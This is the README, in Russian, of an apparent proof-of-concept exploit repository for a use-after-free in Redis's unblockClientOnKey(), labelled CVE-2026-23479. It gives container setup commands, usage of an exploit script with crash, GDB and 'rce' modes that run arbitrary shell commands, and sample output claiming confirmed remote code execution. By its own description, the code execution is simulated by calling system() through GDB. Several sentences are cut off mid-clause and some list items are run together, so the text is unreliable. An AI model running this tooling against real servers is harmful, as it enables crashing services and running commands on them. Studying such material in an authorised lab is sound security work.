
Доказательство концепции с эксплуатацией при помощи GDB (только для образовательных/лабораторных целей)
Использование после освобождения (Use-After-Free) в Redis
unblockClientOnKey(), ведущее к удалённому выполнению кода
Proof of Concept с эксплуатацией при помощи GDB (только для обучения / лабораторных работ)
CVE-2026-23479 — критическая уязвимость типа «использование после освобождения» (Use‑After‑Free, UAF) в Redis версиях с 7.2.0 по 8.6.2.
Ошибка находится в unblockClientOnKey(), которая вызывает .
Если во время этого вызова клиент освобождается (например, из-за вытеснения), вызывающий код продолжает работать с висячим указателем → .
Атакующий, способный управлять кучей после освобождения, может добиться .
processCommandAndResetClient()В этом репозитории представлен PoC с использованием GDB, который:
freeClient())system() в той же точке⚠️ Важно: Это не «боевой» эксплойт. Он использует GDB внутри привилегированного Docker-контейнера, чтобы имитировать то, чего реальный атакующий мог бы достичь после успешной эксплуатации UAF.
Используйте его только в собственной лаборатории или на системах, на тестирование которых у вас есть явное разрешение.
crash, gdb, rce, full--containerXREAD BLOCK заставляет клиента ждать данных из потока.pid 1) внутри контейнера.processCommandAndResetClient — функцию, вызываемую при повторной обработке заблокированного клиента.XADD по тому же потоку «пробуждает» жертву.gdb: вызывает freeClient($rdi) → намеренно вызывает SIGSEGV → доказывает UAF.rce: вызывает system("your command") → выполняет произвольные shell-команды от имени пользователя Redis (root по умолчанию).Точка останова срабатывает каждый раз, когда заблокированный клиент разблокируется, что показывает: тот же путь выполнения кода, который содержит UAF, также допускает выполнение кода.
| Branch | Vulnerable Range |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
Скрипт автоматически определяет версию Redis и сообщает, уязвима ли она.
apt (например, официальный redis:8.6.2)--privileged (требуется для ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Mode | Description |
|---|---|
crash | Попытка вызвать UAF через нехватку памяти (GDB не требуется). Redis может упасть, но это не гарантировано. |
gdb | Подключить GDB и вызвать freeClient() на точке останова → принудительный SIGSEGV (доказывает UAF). |
rce | Подключить GDB и вызвать system(cmd) на точке останова → выполняет shell-команду внутри контейнера. |
full | Сначала запустить crash; если Redis не упал, переключиться на gdb. |
| Argument | Default | Description |
|---|---|---|
target | (обязательно) | IP-адрес Redis-сервера |
-p, --port | 6379 | Порт Redis |
-m, --mode | full | Один из режимов: crash, gdb, rce, full |
--container | env-redis-vuln-1 | Имя Docker-контейнера |
--cmd | id > /tmp/pwned_by_cve | Команда для выполнения в режиме rce |
Примечание: Все команды выполняются на хостовой машине, а не внутри Docker-контейнера.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis упадёт после ошибки сегментации.
Перезапустите контейнер:
docker start redis-vuln-local
Перезапустите Redis, чтобы гарантировать чистое состояние:
docker restart redis-vuln-local
Запустите эксплойт:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Проверьте файл-подтверждение:
docker exec redis-vuln-local ls -l /tmp/pwned
В случае успеха файл будет существовать, что докажет выполнение внутри Redis-контейнера команды:
system("touch /tmp/pwned");
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Если Redis неожиданно завершит работу (контейнер больше не запущен), UAF, скорее всего, сработал.
Перезапустите его командой:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Этот режим:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
Исходный PoC был жёстко привязан к контейнеру с именем env-redis-vuln-1 и содержал несколько проблем при запуске с более новыми версиями Python.
В обновлённой версии представлены следующие улучшения:
| Issue | Fix |
|---|---|
| Жёстко заданное имя контейнера | Добавлен аргумент --container, проброшенный через все функции. |
Команда file размещалась внутри блока commands в GDB-скрипте | Перенесена команда file /usr/local/bin/redis-server перед attach, чтобы GDB корректно загружал символы. |
subprocess.run() использовался одновременно с capture_output=True и stderr=... | Заменено на stdout=subprocess.DEVNULL и stderr=subprocess.DEVNULL. |
Устаревшие процессы GDB вызывали ptrace: Operation not permitted | Добавлена команда pkill -9 gdb перед запуском GDB в trigger_uaf_gdb() и trigger_rce(). |
| Отсутствие обратной связи при тихом сбое GDB | Добавлено отладочное логирование вывода GDB и улучшено обнаружение файла-подтверждения. |
docker stop redis-vuln-local
docker rm redis-vuln-local
Этот инструмент предназначен исключительно для образовательных целей, авторизованных исследований в области безопасности и тестирования систем, которые принадлежат вам или на оценку которых у вас есть явное разрешение.
Автор не одобряет и не поощряет неавторизованное или вредоносное использование.
Всегда получайте надлежащее разрешение перед тестированием любых производственных или сторонних систем.
Сделано с ❤️ для сообщества специалистов по безопасности.
Будьте этичны. Оставайтесь в безопасности.